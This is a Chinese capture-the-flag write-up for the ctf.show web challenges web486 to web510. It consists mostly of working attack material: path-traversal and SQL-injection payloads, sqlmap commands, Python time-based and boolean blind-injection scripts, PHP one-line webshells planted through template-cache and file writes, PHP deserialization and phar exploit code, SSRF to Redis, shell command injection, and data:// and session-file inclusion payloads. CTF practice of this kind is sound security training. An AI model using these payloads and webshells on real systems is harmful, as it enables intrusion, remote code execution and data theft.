目录
web486
web487
web488
web489
web490
web491
web492
web493
web494
web495
web496
web497
web498
web499
web500
web501
web502
web503
web505
web506
web507
web508
web509
web510
web486
扫目录
初始界面尝试文件包含index.php,从报错知道其可以目录穿越读文件
login.php是在./templates下的,而./flag.php与./templates均为web目录
payload:
?action=../flag
右键查看源码拿到flag
web487
?action=../index
存在sql注入
没有waf,直接sqlmap跑出来
sqlmap -u "https://648b315b-136d-427f-b332-417f4865f221.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -T ctf -C ctf --dumps
web488
?action=../index
关注点在templateUtil的静态方法上,从index.php一开始include的文件入手
?action=../render/render_class
?action=../render/cache_class
整体利用链很清晰
templateUtil::render($action) -> templateUtil::shade($templateContent,$arg)-> cache::create_cache($template,$cache) -> fileUtil::write('cache/'.md5($template).".php",$content)
注意到用./template/error.php中存在{{username}},可以用其cache来写马
重开个靶机再打入
index.php?action=check&username=<?php eval($_POST[1]);?>&password=12345
注意到{{username}}已经成功被替换为php代码
<?php
echo md5("error");
//cb5e100e5a9a3e7f6d1fd97512215282
再访问./cache/cb5e100e5a9a3e7f6d1fd97512215282.php
命令执行拿flag
web489
和上题一样,在render处打入模板覆盖,用cache写马,但这次只能利用index
配合变量覆盖,让if永真,并让username为一句话木马
/index.php?action=check&username=<?=eval($_POST[cmd]);?>&sql=select%201;
访问./cache/6a992d5529f459a44fee58c733255e86.php,命令执行拿flag
<?php
echo md5("index");
//6a992d5529f459a44fee58c733255e86
web490
还是模板注入./templates/index
/index.php?action=check&username=' union select '<?php eval($_POST[1]);?>' --+&password=1
直接去打会报语法错误
这时候重开下靶机再去读./templates/index.php,发现是给了提示的
我们模板注入的内容是被<?=?>所包裹,因此要改下payload
/index.php?action=check&username=0' union select "`cat /f*`"--+
再访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag
web491
这下不能打模板注入了,但可以时间盲注
import requests
string = "}qwertyuioplkjhgfdsazxcvbnm0123456789{-"
url = "http://bbfa1c77-aef0-4827-bd1f-6eafb26e85d0.challenge.ctf.show/index.php?action=check&username="
payload = ""
end = "&password=1"
def exp():
ret = ""
for x in range(1, 50):
for y in string:
payload = "' union select if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1) --+".format(x, y)
try:
req = requests.get(url + payload + end, timeout=2)
except:
ret += y
print(ret)
if __name__ == '__main__':
exp()
web492
关于select_one_array
- 执行一个 SQL 查询。
- 返回查询结果的第一条记录。
- 将这条记录作为数组返回,其中每个数组元素代表一个数据库字段。
模板有一个自动参数绑定,传进去一个$user,获取$user[username]来替换
直接走变量覆盖,绕过查库过程
payload:
?action=check&username[]=1&password=1&user[username]=<?php eval($_POST[1]);?>
访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag
web493
可以在$_COOKIE处打反序列化
?action=../render/db_class
读到可以利用的恶意类
exp:
<?php
class dbLog{
public $sql;
public $content='<?php eval($_POST[1]);?>';
public $log='yjh.php';
}
$a=new dbLog();
echo serialize($a);
在Cookie处打入user参数,成功反序列化
访问./yjh.php,命令执行拿flag
web494
不是很理解这段正则的意义何在(
和上题一样打
flag在数据库里,连蚁剑
拿到flag
web495
和上题一样
拿到flag
web496
过滤了or
用变形的万能密码登录
' || 1=1#
?action=../api/admin_edit
存在查库的操作就会存在布尔盲注的空间
import requests
import string
url="http://f7a0f625-bcc6-43e5-b84d-ea086553a12b.challenge.ctf.show"
s=string.ascii_lowercase+string.digits+",{-}"
sess=requests.session()
sess.post(url+"?action=check",data={"username":"'||1#","password":1})
flag=""
for i in range(9,70):
print(i)
for j in s:
data={
'nickname':str(i*2)+str(j), #不让nickname重复就行
#'user[username]':"'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1},1,0)#".format(i,j)
#'user[username]':"'||if(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(i,j)
'user[username]':"'||if(substr((select flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(i,j)
}
r=sess.post(url+"/api/admin_edit.php",data=data)
if("u529f" in r.text):
flag+=j
print(flag)
break
web497
和上题一样用万能密码登录
点击修改图像,尝试读靶机文件
base64解码得flag
web498
万能密码登录
修改头像不能直接读/flag
尝试用gopher探测内网组件,结果靶机直接崩了😡,换dict测出来6379
dict://127.0.0.1:6379
gopherus生成payload,打入
访问./shell.php,命令执行拿flag
web499
SSRF打不通了
与上一题相比多了一个系统配置的功能
?action=../api/admin_settings
读源码看到写文件操作
直接在提交页面写马
访问./config/settings.php,命令执行拿到flag
web500
新功能
?action=../api/admin_db_backup
shell_exec可以进行一个命令拼接,无回显RCE考虑写文件
;cat /f*>/var/www/html/flag.txt
web501
?action=../api/admin_db_backup
多了一段正则
'^zip'
表示匹配以 "zip" 开头的字符串。'tar'
在任何位置匹配 "tar"。'sql$'
表示匹配以 "sql" 结尾的字符串。
直接访问./api/admin_db_backup.php
payload:
db_format=;cat /f*>/var/www/html/tar.txt
访问./tar.txt拿到flag
web502
这段正则检查字符串 db_format
是否严格等于 "zip"、"tar" 或 "sql",db_format是没戏唱了
但可以用$pre来拼接
payload:
db_format=zip&pre=1.txt;cat /f*>/var/www/html/tar.txt;
访问./tar.txt拿到flag
web503
可以看到shell_exec因为md5的限制,所以不再能利用
多出了file_exists的利用点,可以用上面提到的恶意类打phar反序列化
此外多了一个上传logo的功能,稳了
生成恶意phar包,后缀改png,直接上传
<?php
class dbLog{
public $sql;
public $content="<?php eval(\$_POST[1]);?>";
public $log="yjh.php";
}
$c=new dbLog();
$phar = new Phar("ctfshow.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($c); //将自定义meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();
?>
拿到文件上传路径
访问./api/admin_db_backup.php
payload:
pre=phar:///var/www/html/img/3318913d41c2966fc209201c9132b81b&db_format=.png
访问./yjh.php,命令执行拿flag
web505
多了一个文件查看功能
读api/admin_file_view.php的源码
直接data伪协议来包含
payload:
debug=1&f=data://text/plain,user<?php system('tac /f*');?>
web506
和上题一样
web507
一样
web508
把伪协议给waf掉了
找文件上传点写恶意文件
上传网站logo就可以
文件内容是user拼接命令执行
拿到文件上传路径
payload:
debug=1&f=/var/www/html/img/f418ad41b0e1cf4bbfcc47e67df49f94.png
web509
在logo上传处对文件内容有过滤
直接上最短一句话
user<?=`$_GET[1]`;
拿到文件上传路径
debug=1&f=/var/www/html/img/f418ad41b0e1cf4bbfcc47e67df49f94.png
web510
对上传文件内容更为严格,并且因为md5的原因,也不能走配置文件base64解密包含的奇技淫巧
于是走session文件包含,其开头还正好是user,完美利用
修改用户信息,写一句话
成功修改
最终payload:
debug=1&f=/tmp/sess_92ke6l244el6unol1mei073gj2